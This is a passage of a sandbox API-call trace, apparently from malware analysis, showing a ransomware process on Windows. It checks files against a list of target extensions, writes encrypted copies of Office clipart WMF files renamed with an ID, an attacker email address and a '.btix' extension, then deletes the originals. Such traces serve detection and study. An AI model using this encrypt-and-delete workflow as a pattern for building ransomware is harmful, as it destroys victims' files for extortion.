[0152.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.166] lstrlenW (lpString=".doc") returned 4 [0152.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.166] lstrlenW (lpString=".docx") returned 5 [0152.166] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.166] lstrlenW (lpString=".pdf") returned 4 [0152.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.166] lstrlenW (lpString=".xls") returned 4 [0152.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.166] lstrlenW (lpString=".xlsx") returned 5 [0152.166] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.166] lstrlenW (lpString=".ppt") returned 4 [0152.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.166] lstrlenW (lpString=".zip") returned 4 [0152.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.166] lstrlenW (lpString=".rar") returned 4 [0152.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.166] lstrlenW (lpString=".bz2") returned 4 [0152.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.166] lstrlenW (lpString=".7z") returned 3 [0152.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.166] lstrlenW (lpString=".dbf") returned 4 [0152.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.167] lstrlenW (lpString=".1cd") returned 4 [0152.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.167] lstrlenW (lpString=".jpg") returned 4 [0152.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.167] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.167] lstrlenW (lpString="J0105328.WMF") returned 12 [0152.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.167] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=7992) returned 1 [0152.167] CloseHandle (hObject=0x374) returned 1 [0152.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0152.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.167] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.167] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.168] GetLastError () returned 0x0 [0152.168] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1f38, lpOverlapped=0x0) returned 1 [0152.169] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0152.170] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.170] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.170] SetEndOfFile (hFile=0x3a0) returned 1 [0152.170] CloseHandle (hObject=0x3a0) returned 1 [0152.170] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.170] SetEndOfFile (hFile=0x374) returned 1 [0152.171] CloseHandle (hObject=0x374) returned 1 [0152.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0152.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.171] lstrlenW (lpString=".doc") returned 4 [0152.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.171] lstrlenW (lpString=".docx") returned 5 [0152.171] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.171] lstrlenW (lpString=".pdf") returned 4 [0152.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.171] lstrlenW (lpString=".xls") returned 4 [0152.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.171] lstrlenW (lpString=".xlsx") returned 5 [0152.171] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.172] lstrlenW (lpString=".ppt") returned 4 [0152.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.172] lstrlenW (lpString=".zip") returned 4 [0152.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.172] lstrlenW (lpString=".rar") returned 4 [0152.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.172] lstrlenW (lpString=".bz2") returned 4 [0152.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.172] lstrlenW (lpString=".7z") returned 3 [0152.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.172] lstrlenW (lpString=".dbf") returned 4 [0152.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.172] lstrlenW (lpString=".1cd") returned 4 [0152.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.172] lstrlenW (lpString=".jpg") returned 4 [0152.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.172] lstrlenW (lpString=".doc") returned 4 [0152.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.172] lstrlenW (lpString=".docx") returned 5 [0152.172] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.172] lstrlenW (lpString=".pdf") returned 4 [0152.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.172] lstrlenW (lpString=".xls") returned 4 [0152.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.172] lstrlenW (lpString=".xlsx") returned 5 [0152.172] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.172] lstrlenW (lpString=".ppt") returned 4 [0152.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.173] lstrlenW (lpString=".zip") returned 4 [0152.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.173] lstrlenW (lpString=".rar") returned 4 [0152.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.173] lstrlenW (lpString=".bz2") returned 4 [0152.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.173] lstrlenW (lpString=".7z") returned 3 [0152.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.173] lstrlenW (lpString=".dbf") returned 4 [0152.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.173] lstrlenW (lpString=".1cd") returned 4 [0152.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0152.173] lstrlenW (lpString=".jpg") returned 4 [0152.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.173] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.173] lstrlenW (lpString="J0105332.WMF") returned 12 [0152.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.173] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=10508) returned 1 [0152.173] CloseHandle (hObject=0x374) returned 1 [0152.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0152.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.174] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.174] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.174] GetLastError () returned 0x0 [0152.174] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x290c, lpOverlapped=0x0) returned 1 [0152.175] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2910, lpOverlapped=0x0) returned 1 [0152.176] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.176] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.176] SetEndOfFile (hFile=0x3a0) returned 1 [0152.176] CloseHandle (hObject=0x3a0) returned 1 [0152.176] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.176] SetEndOfFile (hFile=0x374) returned 1 [0152.177] CloseHandle (hObject=0x374) returned 1 [0152.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0152.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.178] lstrlenW (lpString=".doc") returned 4 [0152.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.178] lstrlenW (lpString=".docx") returned 5 [0152.178] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.178] lstrlenW (lpString=".pdf") returned 4 [0152.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.178] lstrlenW (lpString=".xls") returned 4 [0152.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.178] lstrlenW (lpString=".xlsx") returned 5 [0152.178] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.178] lstrlenW (lpString=".ppt") returned 4 [0152.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.178] lstrlenW (lpString=".zip") returned 4 [0152.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.178] lstrlenW (lpString=".rar") returned 4 [0152.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.178] lstrlenW (lpString=".bz2") returned 4 [0152.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.178] lstrlenW (lpString=".7z") returned 3 [0152.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.178] lstrlenW (lpString=".dbf") returned 4 [0152.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.179] lstrlenW (lpString=".1cd") returned 4 [0152.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.179] lstrlenW (lpString=".jpg") returned 4 [0152.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.179] lstrlenW (lpString=".doc") returned 4 [0152.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.179] lstrlenW (lpString=".docx") returned 5 [0152.179] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.179] lstrlenW (lpString=".pdf") returned 4 [0152.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.179] lstrlenW (lpString=".xls") returned 4 [0152.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.179] lstrlenW (lpString=".xlsx") returned 5 [0152.179] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.179] lstrlenW (lpString=".ppt") returned 4 [0152.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.179] lstrlenW (lpString=".zip") returned 4 [0152.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.179] lstrlenW (lpString=".rar") returned 4 [0152.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.179] lstrlenW (lpString=".bz2") returned 4 [0152.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.179] lstrlenW (lpString=".7z") returned 3 [0152.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.179] lstrlenW (lpString=".dbf") returned 4 [0152.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.179] lstrlenW (lpString=".1cd") returned 4 [0152.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0152.179] lstrlenW (lpString=".jpg") returned 4 [0152.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.180] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.180] lstrlenW (lpString="J0105336.WMF") returned 12 [0152.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.180] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2900) returned 1 [0152.180] CloseHandle (hObject=0x374) returned 1 [0152.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0152.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.180] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.180] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.181] GetLastError () returned 0x0 [0152.181] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xb54, lpOverlapped=0x0) returned 1 [0152.422] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xb60, lpOverlapped=0x0) returned 1 [0152.422] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.423] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.423] SetEndOfFile (hFile=0x3a0) returned 1 [0152.423] CloseHandle (hObject=0x3a0) returned 1 [0152.423] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.423] SetEndOfFile (hFile=0x374) returned 1 [0152.424] CloseHandle (hObject=0x374) returned 1 [0152.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0152.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.424] lstrlenW (lpString=".doc") returned 4 [0152.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString=".docx") returned 5 [0152.424] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.424] lstrlenW (lpString=".pdf") returned 4 [0152.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString=".xls") returned 4 [0152.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.424] lstrlenW (lpString=".xlsx") returned 5 [0152.424] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.424] lstrlenW (lpString=".ppt") returned 4 [0152.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.425] lstrlenW (lpString=".zip") returned 4 [0152.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.425] lstrlenW (lpString=".rar") returned 4 [0152.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString=".bz2") returned 4 [0152.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString=".7z") returned 3 [0152.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.425] lstrlenW (lpString=".dbf") returned 4 [0152.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.425] lstrlenW (lpString=".1cd") returned 4 [0152.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.425] lstrlenW (lpString=".jpg") returned 4 [0152.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.425] lstrlenW (lpString=".doc") returned 4 [0152.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString=".docx") returned 5 [0152.425] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.425] lstrlenW (lpString=".pdf") returned 4 [0152.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString=".xls") returned 4 [0152.425] lstrcmpiW 